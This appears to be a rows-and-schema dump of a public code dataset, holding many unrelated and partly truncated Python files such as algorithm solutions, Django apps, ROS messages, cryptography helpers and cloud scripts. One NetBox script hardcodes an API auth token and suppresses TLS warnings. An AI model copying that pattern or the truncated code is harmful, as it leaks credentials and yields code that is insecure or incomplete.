hexsha
stringlengths
40
40
size
int64
5
2.06M
ext
stringclasses
10 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
3
248
max_stars_repo_name
stringlengths
5
125
max_stars_repo_head_hexsha
stringlengths
40
78
max_stars_repo_licenses
listlengths
1
10
max_stars_count
int64
1
191k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
3
248
max_issues_repo_name
stringlengths
5
125
max_issues_repo_head_hexsha
stringlengths
40
78
max_issues_repo_licenses
listlengths
1
10
max_issues_count
int64
1
67k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
3
248
max_forks_repo_name
stringlengths
5
125
max_forks_repo_head_hexsha
stringlengths
40
78
max_forks_repo_licenses
listlengths
1
10
max_forks_count
int64
1
105k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
5
2.06M
avg_line_length
float64
1
1.02M
max_line_length
int64
3
1.03M
alphanum_fraction
float64
0
1
count_classes
int64
0
1.6M
score_classes
float64
0
1
count_generators
int64
0
651k
score_generators
float64
0
1
count_decorators
int64
0
990k
score_decorators
float64
0
1
count_async_functions
int64
0
235k
score_async_functions
float64
0
1
count_documentation
int64
0
1.04M
score_documentation
float64
0
1
c3badbbe2ba65c13681fed044b28fd4aa43440f3
646
py
Python
notes-n-resources/Data-Structures-N-Algo/_DS-n-Algos/_Another-One/Project Euler/Problem 9/sol2.py
side-projects-42/INTERVIEW-PREP-COMPLETE
627a3315cee4bbc38a0e81c256f27f928eac2d63
[ "MIT" ]
13
2021-03-11T00:25:22.000Z
2022-03-19T00:19:23.000Z
notes-n-resources/Data-Structures-N-Algo/_DS-n-Algos/_Another-One/Project Euler/Problem 9/sol2.py
side-projects-42/INTERVIEW-PREP-COMPLETE
627a3315cee4bbc38a0e81c256f27f928eac2d63
[ "MIT" ]
160
2021-04-26T19:04:15.000Z
2022-03-26T20:18:37.000Z
notes-n-resources/Data-Structures-N-Algo/_DS-n-Algos/_Another-One/Project Euler/Problem 9/sol2.py
side-projects-42/INTERVIEW-PREP-COMPLETE
627a3315cee4bbc38a0e81c256f27f928eac2d63
[ "MIT" ]
12
2021-04-26T19:43:01.000Z
2022-01-31T08:36:29.000Z
"""A Pythagorean triplet is a set of three natural numbers, for which, a^2+b^2=c^2 Given N, Check if there exists any Pythagorean triplet for which a+b+c=N Find maximum possible value of product of a,b,c among all such Pythagorean triplets, If there is no such Pythagorean triplet print -1.""" #!/bin/python3 import sys ...
32.3
137
0.588235
0
0
0
0
0
0
0
0
380
0.588235
c3bbcaac1b4c3eb7ea0472b929c01ba8a155ceb5
15
py
Python
openml_data_integration/protobuf_generator/openml_1547/myconstants.py
tuix/tutorials
733d35a8a39df079e8c2432c441b70785ab08440
[ "Apache-2.0" ]
8
2020-04-21T13:29:04.000Z
2021-12-13T08:59:09.000Z
openml_data_integration/protobuf_generator/openml_1547/myconstants.py
tuix/tutorials
733d35a8a39df079e8c2432c441b70785ab08440
[ "Apache-2.0" ]
3
2021-04-27T11:03:04.000Z
2021-05-24T18:22:57.000Z
openml_data_integration/protobuf_generator/openml_1547/myconstants.py
tuix/tutorials
733d35a8a39df079e8c2432c441b70785ab08440
[ "Apache-2.0" ]
6
2020-07-06T08:23:25.000Z
2021-11-24T10:39:34.000Z
DATA_ID = 1547
7.5
14
0.733333
0
0
0
0
0
0
0
0
0
0
c3bc911a72d3ea304b521b36a90bb52a8b6a530e
10,883
py
Python
devel/lib/python2.7/dist-packages/nav2d_msgs/msg/_LocalizedScan.py
pplankton/MRSLAM
0a16489a2cbd0c2d1511b506c540446cc670bde8
[ "MIT" ]
1
2021-05-17T11:13:01.000Z
2021-05-17T11:13:01.000Z
devel/lib/python2.7/dist-packages/nav2d_msgs/msg/_LocalizedScan.py
pplankton/MRSLAM
0a16489a2cbd0c2d1511b506c540446cc670bde8
[ "MIT" ]
null
null
null
devel/lib/python2.7/dist-packages/nav2d_msgs/msg/_LocalizedScan.py
pplankton/MRSLAM
0a16489a2cbd0c2d1511b506c540446cc670bde8
[ "MIT" ]
null
null
null
# This Python file uses the following encoding: utf-8 """autogenerated by genpy from nav2d_msgs/LocalizedScan.msg. Do not edit.""" import sys python3 = True if sys.hexversion > 0x03000000 else False import genpy import struct import std_msgs.msg import sensor_msgs.msg class LocalizedScan(genpy.Message): _md5sum = "...
39.147482
193
0.639989
10,186
0.935955
0
0
0
0
0
0
4,235
0.389139
c3bf3b6220b1341a752239051d140a1c1b00bf32
3,511
py
Python
tests/test_hashing.py
David-Jianguang-Ran/gravity-hash
58c28f07646f3f9177d685c80da4ec4de98cef48
[ "MIT" ]
null
null
null
tests/test_hashing.py
David-Jianguang-Ran/gravity-hash
58c28f07646f3f9177d685c80da4ec4de98cef48
[ "MIT" ]
null
null
null
tests/test_hashing.py
David-Jianguang-Ran/gravity-hash
58c28f07646f3f9177d685c80da4ec4de98cef48
[ "MIT" ]
null
null
null
from unittest import TestCase from gravity_simulation.hashing import * class TestDigest(TestCase): def test_get_digest(self): cases = [ "An enchantress disguised as an old beggar woman arrives at a castle during a ball and offers the host, a cruel and selfish prince, a rose in return for she...
76.326087
1,393
0.698092
3,436
0.978639
0
0
0
0
0
0
2,592
0.738251
c3bf686e9d3b64fb3a2f04a67c481cb724c6b8f5
1,894
py
Python
pushnetbox.py
M35a2/cisco-interfaces-to-netbox
0d8df402ed85571bdb6e8b627c080fbea670a7f8
[ "BSD-3-Clause" ]
null
null
null
pushnetbox.py
M35a2/cisco-interfaces-to-netbox
0d8df402ed85571bdb6e8b627c080fbea670a7f8
[ "BSD-3-Clause" ]
null
null
null
pushnetbox.py
M35a2/cisco-interfaces-to-netbox
0d8df402ed85571bdb6e8b627c080fbea670a7f8
[ "BSD-3-Clause" ]
null
null
null
from netbox import NetBox import requests import json import csv from re import search requests.packages.urllib3.disable_warnings() def createAddress(address, description, vrf, network, role): #netbox settings netbox = NetBox(host='10.255.X.X', port=443, use_ssl=True, auth_token='5d6dfe9f6f39785eb86f') ...
30.548387
131
0.578669
0
0
0
0
0
0
0
0
343
0.181098
c3c04babb354c41a1b5bfe232b2d3bb50a6a173a
5,568
py
Python
secpy256k1/utils.py
summa-tx/riemann-secp256k1
2013618902eadfab812813b3f93c159187de7a72
[ "MIT" ]
6
2019-01-09T18:59:00.000Z
2020-07-12T09:14:08.000Z
secpy256k1/utils.py
summa-tx/riemann-secp256k1
2013618902eadfab812813b3f93c159187de7a72
[ "MIT" ]
4
2019-01-12T19:16:26.000Z
2019-03-13T19:11:37.000Z
secpy256k1/utils.py
summa-tx/secpy256k1
2013618902eadfab812813b3f93c159187de7a72
[ "MIT" ]
2
2019-01-19T21:52:33.000Z
2019-01-23T10:48:57.000Z
import hashlib from _secpy256k1 import ffi def sha256(msg: bytes) -> bytes: return hashlib.sha256(msg).digest() def validate_cdata_type(value, type_str, err_msg, null_flag=False): '''Checks that value is a valid ffi CData type. Args: value (ffi.CData): value to check type_str ...
32.184971
79
0.596983
0
0
0
0
0
0
0
0
3,827
0.68732
c3c245e82abe59f7ffe1e78f2b4cafcd335e9622
2,837
py
Python
scikits/pulsefit/correct_addpulses.py
johnnylee/scikits.pulsefit
d07571d524d974f52a863cd96a823fce6f1fed1e
[ "MIT" ]
2
2015-08-25T15:41:26.000Z
2016-05-23T01:42:37.000Z
scikits/pulsefit/correct_addpulses.py
johnnylee/scikits.pulsefit
d07571d524d974f52a863cd96a823fce6f1fed1e
[ "MIT" ]
1
2015-03-28T00:32:16.000Z
2017-04-04T10:48:49.000Z
scikits/pulsefit/correct_addpulses.py
johnnylee/scikits.pulsefit
d07571d524d974f52a863cd96a823fce6f1fed1e
[ "MIT" ]
null
null
null
from __future__ import print_function import numpy as np class CorrectAddPulses(object): def __init__(self, ampfit, optfit, flagger, pulse_add_len, th_min, min_dist=0, debug=False): """Arguments: ampfit -- Ampitude fitter. optfit -- Fit optimizer. flagger -- ...
32.238636
73
0.505111
2,776
0.978498
0
0
0
0
0
0
650
0.229115
c3c27fde8746702040364868f95806b209ac0997
2,549
py
Python
server/accession/fixtures/actiontypes.py
coll-gate/collgate
8c2ff1c59adda2bf318040f588c05263317a2812
[ "MIT" ]
2
2017-07-04T16:19:09.000Z
2019-08-16T04:54:47.000Z
server/accession/fixtures/actiontypes.py
coll-gate/collgate
8c2ff1c59adda2bf318040f588c05263317a2812
[ "MIT" ]
null
null
null
server/accession/fixtures/actiontypes.py
coll-gate/collgate
8c2ff1c59adda2bf318040f588c05263317a2812
[ "MIT" ]
1
2018-04-13T08:28:09.000Z
2018-04-13T08:28:09.000Z
# -*- coding: utf-8; -*- # # @file actiontypes.py # @brief collgate # @author Frédéric SCHERMA (INRA UMR1095) # @date 2017-11-30 # @copyright Copyright (c) 2017 INRA/CIRAD # @license MIT (see LICENSE file) # @details ACTION_TYPES = { 'introduction': { 'id': None, 'name': 'introduction', 'la...
22.758929
66
0.429973
0
0
0
0
0
0
0
0
1,136
0.444792
c3c2d5bd4cb2951c2a4329f8a2068be5bb546f68
116,610
py
Python
scripts/analytics_tests.py
rombie/contrail-test
a68c71d6f282142501a7e2e889bbb232fdd82dc3
[ "Apache-2.0" ]
null
null
null
scripts/analytics_tests.py
rombie/contrail-test
a68c71d6f282142501a7e2e889bbb232fdd82dc3
[ "Apache-2.0" ]
null
null
null
scripts/analytics_tests.py
rombie/contrail-test
a68c71d6f282142501a7e2e889bbb232fdd82dc3
[ "Apache-2.0" ]
null
null
null
# Need to import path to test/fixtures and test/scripts/ # Ex : export PYTHONPATH='$PATH:/root/test/fixtures/:/root/test/scripts/' # # To run tests, you can do 'python -m testtools.run tests'. To run specific tests, # You can do 'python -m testtools.run -l tests' # Set the env variable PARAMS_FILE to point to your ini ...
42.021622
334
0.534911
114,155
0.978947
492
0.004219
32,432
0.278124
0
0
26,519
0.227416
c3c4355aa628e0a4b790fc108449eb7a3f5be2e3
2,128
py
Python
ops_omgx/aws-secrets-importer.py
jet86/optimism
ed0d1ba349c5aa6f3e57c5b5886b34a167177ffa
[ "MIT" ]
13
2021-06-04T20:01:01.000Z
2021-11-25T07:43:53.000Z
ops_omgx/aws-secrets-importer.py
jet86/optimism
ed0d1ba349c5aa6f3e57c5b5886b34a167177ffa
[ "MIT" ]
361
2021-05-24T16:36:12.000Z
2021-12-04T18:03:26.000Z
ops_omgx/aws-secrets-importer.py
jet86/optimism
ed0d1ba349c5aa6f3e57c5b5886b34a167177ffa
[ "MIT" ]
9
2021-05-29T00:13:15.000Z
2021-11-19T18:11:01.000Z
#!/usr/bin/python3 import json import re import subprocess import sys, getopt from ruamel.yaml import YAML def main(argv): inputfile = '' description = "Create Secret Manager" secret_name = '' region = 'us-east-1' profile = 'default' if (len(sys.argv) <= 1 ) or (len(sys.argv) > 11): pr...
36.689655
187
0.547932
0
0
0
0
0
0
0
0
766
0.359962
c3c46544743c479d3ac35edcaaac5e3250bc57a9
309
py
Python
constants.py
Ictcmn/canarytokens
a9fb97929bcec8643b02a8be34fca7d525a382b8
[ "BSD-3-Clause" ]
1
2021-01-09T16:27:23.000Z
2021-01-09T16:27:23.000Z
constants.py
Ictcmn/canarytokens
a9fb97929bcec8643b02a8be34fca7d525a382b8
[ "BSD-3-Clause" ]
null
null
null
constants.py
Ictcmn/canarytokens
a9fb97929bcec8643b02a8be34fca7d525a382b8
[ "BSD-3-Clause" ]
null
null
null
OUTPUT_CHANNEL_EMAIL = 'Email' OUTPUT_CHANNEL_WEBHOOK = 'Webhook' OUTPUT_CHANNEL_TWILIO_SMS = 'TwilioSMS' INPUT_CHANNEL_HTTP = 'HTTP' INPUT_CHANNEL_DNS = 'DNS' INPUT_CHANNEL_IMGUR = 'Imgur' INPUT_CHANNEL_LINKEDIN = 'LinkedIn' INPUT_CHANNEL_BITCOIN = 'Bitcoin' INPUT_CHANNEL_SMTP = 'SMTP'
25.75
41
0.757282
0
0
0
0
0
0
0
0
70
0.226537
c3c4b445db1b4b18e57fba0843364a7e6f3beaa4
976
py
Python
timefred/dikt/diktutils.py
giladbarnea/timefred
36cc8b0f09d38c0ed7b3e659ce337a75cd8b0c60
[ "MIT" ]
null
null
null
timefred/dikt/diktutils.py
giladbarnea/timefred
36cc8b0f09d38c0ed7b3e659ce337a75cd8b0c60
[ "MIT" ]
null
null
null
timefred/dikt/diktutils.py
giladbarnea/timefred
36cc8b0f09d38c0ed7b3e659ce337a75cd8b0c60
[ "MIT" ]
null
null
null
from typing import Union, Any, Type _builtin_scalars = frozenset({str, bytes, bytearray, int, float, complex, bool, type(None)}) def gettype(x: Union[type, Type[Any]]) -> type: if type(x) is type: # This includes gettype(type) and gettype(dict) return x # gettype...
23.804878
80
0.617828
0
0
0
0
0
0
0
0
329
0.33709
c3c71ec1d1a7678bdcaa0e51dcb4f75be92aa874
555
py
Python
cartbox/cart/urls.py
bayersglassey/cartbox
579072eea7970ba56111e2d815aff83cea522502
[ "BSD-2-Clause" ]
null
null
null
cartbox/cart/urls.py
bayersglassey/cartbox
579072eea7970ba56111e2d815aff83cea522502
[ "BSD-2-Clause" ]
null
null
null
cartbox/cart/urls.py
bayersglassey/cartbox
579072eea7970ba56111e2d815aff83cea522502
[ "BSD-2-Clause" ]
null
null
null
from django.conf.urls import url, include from django.contrib.auth.decorators import login_required from . import views urlpatterns = [ url(r'^shop/$', login_required(views.ShopView.as_view()), name='shop'), url(r'^order/(?P<pk>\d+)/$', login_required(views.OrderView.as_view()), ...
27.75
57
0.630631
0
0
0
0
0
0
0
0
100
0.18018
c3c7d9360b54f39f3fe5652ae31ef0dfc4bf8638
9,331
py
Python
tethys_compute/models/dask/dask_job.py
msouff/tethys
45795d1e6561d5db8fddd838f4d1ae1d91dbb837
[ "BSD-2-Clause" ]
null
null
null
tethys_compute/models/dask/dask_job.py
msouff/tethys
45795d1e6561d5db8fddd838f4d1ae1d91dbb837
[ "BSD-2-Clause" ]
1
2018-09-20T21:27:14.000Z
2018-09-20T21:27:14.000Z
tethys_compute/models/dask/dask_job.py
msouff/tethys
45795d1e6561d5db8fddd838f4d1ae1d91dbb837
[ "BSD-2-Clause" ]
null
null
null
""" ******************************************************************************** * Name: basic_job * Author: nswain, teva, tran * Created On: September 19, 2018 * Copyright: (c) Aquaveo 2018 ******************************************************************************** """ import logging import datetime from djan...
31.630508
214
0.58729
8,594
0.921016
0
0
1,283
0.137499
0
0
4,050
0.434037
c3c8a799dcbacef22d4252dc752a00db83b2fca3
5,699
py
Python
cournot_v6.py
Lkruitwagen/Cournot
4a6defc19e18774dc61f1e2c3a6bd0baff2dc00e
[ "MIT" ]
1
2020-04-08T14:25:04.000Z
2020-04-08T14:25:04.000Z
cournot_v6.py
Lkruitwagen/Cournot
4a6defc19e18774dc61f1e2c3a6bd0baff2dc00e
[ "MIT" ]
1
2018-11-13T10:58:35.000Z
2018-11-13T10:58:35.000Z
cournot_v6.py
Lkruitwagen/Cournot
4a6defc19e18774dc61f1e2c3a6bd0baff2dc00e
[ "MIT" ]
null
null
null
from scipy import optimize,arange from math import * import sys import csv import numpy as np import matplotlib.pyplot as plt #matplotlib inline #vectorised 2P-3T cournot now using basinhopping #1. get in the data, etc. ... CHECK! #2. make arbitrary to nxm ... CHECK! #3. make investment game ... v7 #4. div;expl #vec...
30.31383
210
0.589402
0
0
0
0
0
0
0
0
2,260
0.396561
c3c9636997a7889d7b0b583458839ea611f4ceb5
7,566
py
Python
public_21CMvFAST_MC/Programs/CosmoHammer_21CMMC/emcee/utils.py
NNSSA/21cmvFAST
8f015427f3609a3051b4fa185bdbe55b379c930f
[ "MIT" ]
5
2019-04-18T11:31:34.000Z
2020-11-15T03:29:14.000Z
emcee/utils.py
lauralwatkins/emcee
051770bcfb6ed85bbc08459850deae8561ea7110
[ "MIT" ]
1
2019-12-17T05:27:25.000Z
2019-12-18T19:59:55.000Z
emcee/utils.py
lauralwatkins/emcee
051770bcfb6ed85bbc08459850deae8561ea7110
[ "MIT" ]
2
2019-11-14T13:54:46.000Z
2019-12-08T17:16:53.000Z
#!/usr/bin/env python # -*- coding: utf-8 -*- from __future__ import (division, print_function, absolute_import, unicode_literals) __all__ = ["sample_ball", "MH_proposal_axisaligned"] import numpy as np # If mpi4py is installed, import it. try: from mpi4py import MPI MPI = MPI excep...
34.081081
79
0.524055
6,610
0.873645
0
0
0
0
0
0
3,051
0.403251
c3c9da5766ad3a8e6c556571dd37b7fb321d959a
1,522
py
Python
utils/lru_cache.py
glongh/visual-run
252e160cec8906319baf0394fc3feb133df3947a
[ "MIT" ]
null
null
null
utils/lru_cache.py
glongh/visual-run
252e160cec8906319baf0394fc3feb133df3947a
[ "MIT" ]
null
null
null
utils/lru_cache.py
glongh/visual-run
252e160cec8906319baf0394fc3feb133df3947a
[ "MIT" ]
null
null
null
from collections import OrderedDict ''' Cache Eviction Flow # get(i) if i in cache: return cache[i] else: # set(i, m) x = longest-in-the-past from cache evict x, add i to cache return cache[i] ''' class CacheLRU(): def __init__(self, size: int) -> None: self.size = size self.cache...
33.822222
120
0.622208
1,306
0.858081
0
0
0
0
0
0
872
0.57293
c3d17483a3af8faee3d6fe2b256913e702cd42e8
1,236
py
Python
LeetCode/1-1000/601-700/601-625/605. Can Place Flowers/solution-python3.py
adubois85/coding_challenge_websites
7867a05847a216661eff3b24b1cb1480fb7d3030
[ "Apache-2.0" ]
null
null
null
LeetCode/1-1000/601-700/601-625/605. Can Place Flowers/solution-python3.py
adubois85/coding_challenge_websites
7867a05847a216661eff3b24b1cb1480fb7d3030
[ "Apache-2.0" ]
null
null
null
LeetCode/1-1000/601-700/601-625/605. Can Place Flowers/solution-python3.py
adubois85/coding_challenge_websites
7867a05847a216661eff3b24b1cb1480fb7d3030
[ "Apache-2.0" ]
null
null
null
from typing import List class Solution: # copy / paste from the supposed "fastest" solution on LeetCode # Sometimes the fastest isn't the best, though, as I find this significantly # more difficult to parse what's going on than either of my solutions # Also, submitting to LeetCode showed it wasn't act...
38.625
84
0.478964
1,209
0.978155
0
0
0
0
0
0
281
0.227346
c3d242b3088a9e13dd0d9c61fc0a9a0586b1bef7
1,996
py
Python
sfftkplus/unittests/test_schema.py
emdb-empiar/sfftk-plus
7ceca24b78c540169bddb3fd433b4aed050f40ec
[ "Apache-2.0" ]
null
null
null
sfftkplus/unittests/test_schema.py
emdb-empiar/sfftk-plus
7ceca24b78c540169bddb3fd433b4aed050f40ec
[ "Apache-2.0" ]
null
null
null
sfftkplus/unittests/test_schema.py
emdb-empiar/sfftk-plus
7ceca24b78c540169bddb3fd433b4aed050f40ec
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- # test_schema.py import os import shlex import unittest import h5py from . import TEST_DATA_PATH from ..core.parser import parse_args from ..formats import vtkmesh from ..schema import SFFPSegmentation SCHEMA_VERSION = SFFPSegmentation().version __author__ = "Paul K. Korir, PhD" __email_...
35.017544
84
0.688878
1,598
0.800601
0
0
281
0.140782
0
0
449
0.22495
c3d57923087c2261e4fd447792f926798a4e982f
10,806
py
Python
Calculator.py
dabl03/python-advanced-calculator
d4d025b1bdea4d9be1cc47dfabc917f579fed3f8
[ "Apache-2.0" ]
null
null
null
Calculator.py
dabl03/python-advanced-calculator
d4d025b1bdea4d9be1cc47dfabc917f579fed3f8
[ "Apache-2.0" ]
null
null
null
Calculator.py
dabl03/python-advanced-calculator
d4d025b1bdea4d9be1cc47dfabc917f579fed3f8
[ "Apache-2.0" ]
null
null
null
signos_admitidos=['+','-','*','/']; def search(list_char,str_,start=0): """ --------------------------------------------------------- | Busca un char ingresado por list_char en una | | cadena pasada por str_, Cuando lo consige | | crea una lista con la ubicacion de todas | | las coincidencia y lo g...
38.592857
223
0.492782
156
0.014432
0
0
0
0
0
0
5,602
0.518272
c3d5a67f41392b8dc06d5a7cc08dc3a0e34cb81f
3,006
py
Python
apps/organizations/models.py
WeiSanJin/MxOnline
e210030a00d7837c135504be618ac3744f8e4356
[ "MIT" ]
1
2021-04-05T14:43:25.000Z
2021-04-05T14:43:25.000Z
apps/organizations/models.py
WeiSanJin/MxOnline
e210030a00d7837c135504be618ac3744f8e4356
[ "MIT" ]
null
null
null
apps/organizations/models.py
WeiSanJin/MxOnline
e210030a00d7837c135504be618ac3744f8e4356
[ "MIT" ]
null
null
null
from django.db import models from apps.users.models import BaseModel from DjangoUeditor.models import UEditorField # 城市 class City(BaseModel): name = models.CharField(max_length=20, verbose_name="城市") desc = models.CharField(max_length=200, verbose_name="描述") class Meta: verbose_name = "城市" ...
36.216867
105
0.683965
3,097
0.951167
0
0
0
0
0
0
674
0.207002
c3d5b63b4aec63e711dc906333d611d89cd9fa71
1,360
py
Python
app/data.py
leecrowe/bandersnatch-app
575394a7b7c47b8525d182edd4d7cf22de985d18
[ "MIT" ]
null
null
null
app/data.py
leecrowe/bandersnatch-app
575394a7b7c47b8525d182edd4d7cf22de985d18
[ "MIT" ]
null
null
null
app/data.py
leecrowe/bandersnatch-app
575394a7b7c47b8525d182edd4d7cf22de985d18
[ "MIT" ]
null
null
null
from os import getenv from typing import Iterator, Dict, Iterable from pymongo import MongoClient import pandas as pd from dotenv import load_dotenv class Data: """ MongoDB Data Model """ load_dotenv() db_url = getenv("DB_URL") db_name = getenv("DB_NAME") db_table = getenv("DB_TABLE") def co...
28.333333
68
0.668382
1,207
0.8875
0
0
0
0
0
0
77
0.056618
c3d5d0386568e2d8e4d24b1ddf0520a183df8e73
1,935
py
Python
python/static-site/tests/test_stacks.py
jeffmaley/aws-cdk-examples
86f10b0e1c21e5d6b943a02426d06e7a0f085681
[ "Apache-2.0" ]
2,941
2019-02-08T15:29:36.000Z
2022-03-31T23:57:42.000Z
python/static-site/tests/test_stacks.py
jeffmaley/aws-cdk-examples
86f10b0e1c21e5d6b943a02426d06e7a0f085681
[ "Apache-2.0" ]
558
2019-02-14T23:32:02.000Z
2022-03-30T00:35:11.000Z
python/static-site/tests/test_stacks.py
jeffmaley/aws-cdk-examples
86f10b0e1c21e5d6b943a02426d06e7a0f085681
[ "Apache-2.0" ]
1,409
2019-02-12T19:13:04.000Z
2022-03-31T18:46:21.000Z
import pytest from aws_cdk import core as cdk from site_stack import StaticSiteStack @pytest.fixture(scope="session") def synth(): app = cdk.App( context={ "namespace": "static-site", "domain_name": "example.com", "domain_certificate_arn": "arn:aws:acm:us-east-1:12345...
31.209677
91
0.626357
0
0
0
0
1,398
0.722481
0
0
766
0.395866
c3d61a440169344b03bc906eb1309f1deef4bcc6
3,011
py
Python
hive-watcher/simple-watcher.py
Podcastindex-org/podping.cloud
58f92aa82dfbe232a411aea9609527904d1259cb
[ "MIT" ]
24
2021-04-26T23:45:45.000Z
2022-03-14T02:00:27.000Z
hive-watcher/simple-watcher.py
Podcastindex-org/podping.cloud
58f92aa82dfbe232a411aea9609527904d1259cb
[ "MIT" ]
23
2021-04-26T22:23:05.000Z
2022-02-22T13:19:32.000Z
hive-watcher/simple-watcher.py
brianoflondon/podping.cloud
df7e5b37fb4881d1fa618accefa2b89e69dfb8fc
[ "MIT" ]
7
2021-05-06T09:17:15.000Z
2021-11-05T18:12:04.000Z
# simple-watcher.py # # Simple version of Hive Podping watcher - no options, just runs # The only external library needed is "beem" - pip install beem # Beem is the official Hive accessing library for Python. # # Version 1.1 from datetime import datetime, timedelta from typing import Set import json import beem from ...
33.455556
97
0.678512
0
0
0
0
0
0
0
0
1,379
0.457987
c3d84d6d30fcdcb05b353fb7fabedea3353d5848
9,935
py
Python
data_openml.py
Sergiodiaz53/saint
4d0294ddae5dc79035c252e88fd176af5e417a8e
[ "Apache-2.0" ]
null
null
null
data_openml.py
Sergiodiaz53/saint
4d0294ddae5dc79035c252e88fd176af5e417a8e
[ "Apache-2.0" ]
null
null
null
data_openml.py
Sergiodiaz53/saint
4d0294ddae5dc79035c252e88fd176af5e417a8e
[ "Apache-2.0" ]
null
null
null
import openml import numpy as np from sklearn.preprocessing import LabelEncoder import pandas as pd from torch.utils.data import Dataset def simple_lapsed_time(text, lapsed): hours, rem = divmod(lapsed, 3600) minutes, seconds = divmod(rem, 60) print(text+": {:0>2}:{:0>2}:{:05.2f}".format(int(hours),int(mi...
38.657588
162
0.644389
1,290
0.129844
0
0
0
0
0
0
1,375
0.1384
c3d8adaeda7653cb1a90e7bcead87cfd601b12da
853
py
Python
src/Time.py
oskart20/PythonServer-lifty
3e30ac4e8d2415681626646ccdc20cac863e310c
[ "MIT" ]
1
2019-04-14T14:33:00.000Z
2019-04-14T14:33:00.000Z
src/Time.py
oskart20/PythonServer-lifty
3e30ac4e8d2415681626646ccdc20cac863e310c
[ "MIT" ]
null
null
null
src/Time.py
oskart20/PythonServer-lifty
3e30ac4e8d2415681626646ccdc20cac863e310c
[ "MIT" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- import datetime import logging logger_6 = logging.getLogger('PythonServer.Time') def time_for_timedelta(time): new_time = (datetime.datetime.min + time).time() return new_time def datetime_for_time(time): new_time = (datetime.datetime.combine(datetime.date(1, 1, 1),...
22.447368
69
0.720985
0
0
0
0
0
0
0
0
124
0.145369
c3d9223f50cffa1ff241a1b0548ffbf81ee7c5f8
6,086
py
Python
ROS_ws/src/lab2/traj_planning_ros/src/iLQR/ellipsoid/dyn_sys.py
kenarvyas/ECE346
f0229a9f3e03ca06e2d8fa74f9208fea5b2c29c7
[ "MIT" ]
4
2022-02-04T03:08:53.000Z
2022-03-24T13:17:46.000Z
ROS_ws/src/lab2/traj_planning_ros/src/iLQR/ellipsoid/dyn_sys.py
kenarvyas/ECE346
f0229a9f3e03ca06e2d8fa74f9208fea5b2c29c7
[ "MIT" ]
null
null
null
ROS_ws/src/lab2/traj_planning_ros/src/iLQR/ellipsoid/dyn_sys.py
kenarvyas/ECE346
f0229a9f3e03ca06e2d8fa74f9208fea5b2c29c7
[ "MIT" ]
12
2022-01-28T05:07:56.000Z
2022-03-30T02:43:05.000Z
import numpy as np class DynSys(): """ The dynamical system class. Author: Haimin Hu (haiminh@princeton.edu) Reference: Ellipsoidal Toolbox (MATLAB) by Dr. Alex Kurzhanskiy. Supports: DTLTI: Discrete-time linear time-invariant system. x[k+1] = A x[k] + B u[k] + c + G d[k] DTLTV:...
32.545455
79
0.548143
6,064
0.996385
0
0
0
0
0
0
3,211
0.527604
c3d93f125dc752ce5954d77d93adc145bfc38790
1,109
py
Python
drfpasswordless/urls.py
saazengineering/django-rest-framework-passwordless
2e8064f3576ab7cabf920fac4951c5ac9245c64a
[ "MIT" ]
null
null
null
drfpasswordless/urls.py
saazengineering/django-rest-framework-passwordless
2e8064f3576ab7cabf920fac4951c5ac9245c64a
[ "MIT" ]
null
null
null
drfpasswordless/urls.py
saazengineering/django-rest-framework-passwordless
2e8064f3576ab7cabf920fac4951c5ac9245c64a
[ "MIT" ]
null
null
null
from django.urls import path from drfpasswordless.views import ( ObtainEmailCallbackToken, ObtainMobileCallbackToken, ObtainAuthTokenFromCallbackToken, ObtainAuthTokenFromRefreshToken, VerifyAliasFromCallbackToken, ObtainEmailVerificationCallbackToken, ObtainMobileVerificationCallback...
50.409091
113
0.766456
0
0
0
0
0
0
0
0
517
0.466186
c3dbca87e6402740e668135efd6e80f605bace9f
3,249
py
Python
mlinversion/mlinversion/bootstraptests.py
uofuseismo/YPMLRecalibration
18a4231eb12775cf808d83d38a11cc02664b3e35
[ "MIT" ]
null
null
null
mlinversion/mlinversion/bootstraptests.py
uofuseismo/YPMLRecalibration
18a4231eb12775cf808d83d38a11cc02664b3e35
[ "MIT" ]
null
null
null
mlinversion/mlinversion/bootstraptests.py
uofuseismo/YPMLRecalibration
18a4231eb12775cf808d83d38a11cc02664b3e35
[ "MIT" ]
2
2021-09-02T17:19:22.000Z
2021-12-23T00:14:51.000Z
""" Regularisation Tests This file contains a set of functions that were used to test and optimise the effects of regularisation. This file can also be imported as a module and contains the following functions: * func() Blurb about func. """ import os import numpy as np from copy import deepcopy from ty...
28.252174
100
0.564174
0
0
0
0
0
0
0
0
851
0.261927
c3dc65c6f95112e170d27e15fb7aca74b4ab07cd
11,253
py
Python
lib/fcn/test_common.py
LeiYangJustin/UnseenObjectClustering
177d67c47bfd973d46b816e6b68bf20660f4b71d
[ "BSD-Source-Code" ]
101
2020-12-13T22:20:12.000Z
2022-03-22T07:58:58.000Z
lib/fcn/test_common.py
LeiYangJustin/UnseenObjectClustering
177d67c47bfd973d46b816e6b68bf20660f4b71d
[ "BSD-Source-Code" ]
6
2021-01-13T13:33:04.000Z
2022-03-08T02:13:27.000Z
lib/fcn/test_common.py
LeiYangJustin/UnseenObjectClustering
177d67c47bfd973d46b816e6b68bf20660f4b71d
[ "BSD-Source-Code" ]
19
2021-01-21T18:19:42.000Z
2022-03-07T14:17:21.000Z
# Copyright (c) 2020 NVIDIA Corporation. All rights reserved. # This work is licensed under the NVIDIA Source Code License - Non-commercial. Full # text can be found in LICENSE.md import torch import time import sys, os import numpy as np import cv2 import matplotlib.pyplot as plt from fcn.config import cfg from utils...
31.085635
98
0.50902
0
0
0
0
0
0
0
0
1,570
0.139518
c3dd774e3fe02dfa112c698582886e4595fb2a9c
1,667
py
Python
phyluce/mafft.py
faircloth-lab/phyluce
ae6801a7e749be2fa38513db9846046241d0fd7a
[ "BSD-3-Clause" ]
63
2015-03-16T15:10:17.000Z
2022-02-16T12:36:23.000Z
phyluce/mafft.py
faircloth-lab/phyluce
ae6801a7e749be2fa38513db9846046241d0fd7a
[ "BSD-3-Clause" ]
253
2015-01-26T13:03:23.000Z
2022-03-15T19:03:05.000Z
phyluce/mafft.py
